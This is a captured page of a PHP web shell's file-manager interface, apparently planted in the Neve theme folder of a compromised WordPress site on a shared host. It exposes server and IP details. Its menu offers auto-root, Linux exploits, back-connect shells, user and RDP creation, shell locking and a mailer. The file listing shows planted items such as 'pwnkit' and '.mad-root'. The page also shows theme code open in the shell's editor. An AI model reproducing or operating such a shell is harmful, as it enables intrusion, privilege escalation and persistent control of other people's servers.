Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.103.20.6 | : 216.73.216.183
Cant Read [ /etc/named.conf ]
5.4.45
formahte
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
formahte /
www /
wp-content /
themes /
neve /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
dashboard
[ DIR ]
drwxr-xr-x
globals
[ DIR ]
drwxr-xr-x
gutenberg
[ DIR ]
drwxr-xr-x
header-footer-grid
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
page-templates
[ DIR ]
drwxr-xr-x
template-parts
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
views
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
404.php
108
B
-rw-r--r--
500.php
178
B
-rw-r--r--
CHANGELOG.md
14.71
KB
-rw-r--r--
LICENSE.txt
17.67
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
autoloader.php
4.05
KB
-rw-r--r--
comments.php
221
B
-rw-r--r--
content-index.php
174.94
KB
-rw-r--r--
footer-pwa.php
147
B
-rw-r--r--
footer.php
535
B
-rw-r--r--
functions.php
2.76
KB
-rw-r--r--
functionsbak.php
2.28
KB
-rw-r--r--
header-pwa.php
680
B
-rw-r--r--
header.php
1.48
KB
-rw-r--r--
index.php
1.69
KB
-rw-r--r--
logo.jpg
174.94
KB
-rw-r--r--
offline.php
178
B
-rw-r--r--
page.php
956
B
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.md
31.51
KB
-rw-r--r--
readme.txt
31.17
KB
-rw-r--r--
screenshot-mobile.png
17.77
KB
-rw-r--r--
screenshot.png
277.92
KB
-rw-r--r--
search.php
1.03
KB
-rw-r--r--
sidebar-shop.php
325
B
-rw-r--r--
sidebar.php
306
B
-rw-r--r--
single.php
1013
B
-rw-r--r--
start.php
1.21
KB
-rw-r--r--
style-rtl.css
57.57
KB
-rw-r--r--
style-rtl.min.css
46.39
KB
-rw-r--r--
style.css
57.6
KB
-rw-r--r--
style.min.css
46.36
KB
-rw-r--r--
toolset-config.json
4.33
KB
-rw-r--r--
wpml-config.xml
811
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : autoloader.php
<?php /** * Neve Autoloader * * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 17/08/2018 * * @package Neve */ namespace Neve; /** * Class Autoloader * * @package Neve */ class Autoloader { /** * An associative array where the key is a namespace prefix and the value * is an array of base directories for classes in that namespace. * * @var array */ protected $prefixes = array(); /** * Register loader with SPL autoloader stack. * * @return void */ public function register() { spl_autoload_register( array( $this, 'load_class' ) ); } /** * Adds a base directory for a namespace prefix. * * @param string $prefix The namespace prefix. * @param string $base_dir A base directory for class files in the * namespace. * @param bool $prepend If true, prepend the base directory to the stack * instead of appending it; this causes it to be searched first rather * than last. * * @return void */ public function add_namespace( $prefix, $base_dir, $prepend = false ) { // normalize namespace prefix $prefix = trim( $prefix, '\\' ) . '\\'; // normalize the base directory with a trailing separator $base_dir = rtrim( $base_dir, DIRECTORY_SEPARATOR ) . '/'; // initialize the namespace prefix array if ( isset( $this->prefixes[ $prefix ] ) === false ) { $this->prefixes[ $prefix ] = array(); } // retain the base directory for the namespace prefix if ( $prepend ) { array_unshift( $this->prefixes[ $prefix ], $base_dir ); } else { array_push( $this->prefixes[ $prefix ], $base_dir ); } } /** * Loads the class file for a given class name. * * @param string $class The fully-qualified class name. * * @return mixed The mapped file name on success, or boolean false on * failure. */ public function load_class( $class ) { // the current namespace prefix $prefix = $class; // work backwards through the namespace names of the fully-qualified // class name to find a mapped file name while ( false !== strrpos( $prefix, '\\' ) ) { $pos = strrpos( $prefix, '\\' ); // retain the trailing namespace separator in the prefix $prefix = substr( $class, 0, $pos + 1 ); // the rest is the relative class name $relative_class = substr( $class, $pos + 1 ); // try to load a mapped file for the prefix and relative class $mapped_file = $this->load_mapped_file( $prefix, $relative_class ); if ( $mapped_file ) { return $mapped_file; } // remove the trailing namespace separator for the next iteration // of strrpos() $prefix = rtrim( $prefix, '\\' ); } // never found a mapped file return false; } /** * Load the mapped file for a namespace prefix and relative class. * * @param string $prefix The namespace prefix. * @param string $relative_class The relative class name. * * @return mixed Boolean false if no mapped file can be loaded, or the * name of the mapped file that was loaded. */ protected function load_mapped_file( $prefix, $relative_class ) { // are there any base directories for this namespace prefix? if ( isset( $this->prefixes[ $prefix ] ) === false ) { return false; } // look through base directories for this namespace prefix foreach ( $this->prefixes[ $prefix ] as $base_dir ) { // replace the namespace prefix with the base directory, // replace namespace separators with directory separators // in the relative class name, append with .php $relative_class = strtolower( str_replace( '\\', '/', $relative_class ) ); $file = $base_dir . $relative_class . '.php'; // if the mapped file exists, require it if ( $this->require_file( $file ) ) { // yes, we're done return $file; } } // never found it return false; } /** * If a file exists, require it from the file system. * * @param string $file The file to require. * * @return bool True if the file exists, false if not. */ protected function require_file( $file ) { require $file; return true; } }
Close